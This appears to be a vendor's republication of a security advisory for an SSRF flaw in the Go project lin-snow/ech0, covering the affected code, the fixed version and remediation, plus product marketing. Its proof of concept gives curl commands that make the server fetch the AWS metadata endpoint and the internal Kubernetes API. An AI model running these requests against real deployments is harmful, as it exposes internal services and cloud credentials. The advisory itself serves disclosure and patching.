GHSA-8MC6-XJPR-H98X

GHSA-8MC6-XJPR-H98X is a high-severity server-side request forgery (SSRF) vulnerability in github.com/lin-snow/ech0 (go), affecting versions < 1.4.8-0.20260503040602-091d26d2d942. It is fixed in 1.4.8-0.20260503040602-091d26d2d942.

Summary

The fetchPeerConnectInfo function in internal/service/connect/connect.go:214-239 uses httpUtil.SendRequest (no SSRF protection) instead of SendSafeRequest (which has ValidatePublicHTTPURL with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints.

Details

In internal/service/connect/connect.go, the fetchPeerConnectInfo function:

func fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) {
    url := httpUtil.TrimURL(peerConnectURL) + "/api/connect"
    resp, err := httpUtil.SendRequest(url, "GET", struct {...}{...}, requestTimeout)

This uses SendRequest which has NO URL validation. The codebase HAS SendSafeRequest at internal/util/http/http.go:228-281 with proper SSRF protection, but fetchPeerConnectInfo does not use it.

Called from:

  • Line 307: data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout)
    • Line 498: data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)

PoC

# 1. Add a connection pointing to AWS metadata service
curl -X POST "https://ech0.example.com/api/connects" \
  -H "Authorization: Bearer <token>" \
  -d '{"connect_url": "http://169.254.169.254/latest/meta-data/instance-id"}'

# 2. Trigger SSRF via health check
curl -H "Authorization: Bearer <token>" \
  "https://ech0.example.com/api/connects/health"
# Returns AWS EC2 instance ID

Or for Kubernetes:

curl -X POST "https://ech0.example.com/api/connects" \
  -H "Authorization: Bearer <token>" \
  -d '{"connect_url": "http://kubernetes.default.svc.cluster.local:443/api"}'

Impact

  • Confidentiality: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API
    • CWE-918: Server-Side Request Forgery

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

GHSA-8MC6-XJPR-H98X has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.4.8-0.20260503040602-091d26d2d942); upgrading removes the vulnerable code path.

Affected versions

github.com/lin-snow/ech0 (< 1.4.8-0.20260503040602-091d26d2d942)

Security releases

github.com/lin-snow/ech0 → 1.4.8-0.20260503040602-091d26d2d942 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade github.com/lin-snow/ech0 to 1.4.8-0.20260503040602-091d26d2d942 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-8MC6-XJPR-H98X? GHSA-8MC6-XJPR-H98X is a high-severity server-side request forgery (SSRF) vulnerability in github.com/lin-snow/ech0 (go), affecting versions < 1.4.8-0.20260503040602-091d26d2d942. It is fixed in 1.4.8-0.20260503040602-091d26d2d942. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
  2. How severe is GHSA-8MC6-XJPR-H98X? GHSA-8MC6-XJPR-H98X has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/lin-snow/ech0 are affected by GHSA-8MC6-XJPR-H98X? github.com/lin-snow/ech0 (go) versions < 1.4.8-0.20260503040602-091d26d2d942 is affected.
  4. Is there a fix for GHSA-8MC6-XJPR-H98X? Yes. GHSA-8MC6-XJPR-H98X is fixed in 1.4.8-0.20260503040602-091d26d2d942. Upgrade to this version or later.
  5. Is GHSA-8MC6-XJPR-H98X exploitable, and should I be worried? Whether GHSA-8MC6-XJPR-H98X is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-8MC6-XJPR-H98X is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-8MC6-XJPR-H98X? Upgrade github.com/lin-snow/ech0 to 1.4.8-0.20260503040602-091d26d2d942 or later.

Other vulnerabilities in github.com/lin-snow/ech0

CVE-2026-35037CVE-2026-33638

Stop the waste.
Protect your environment with Kodem.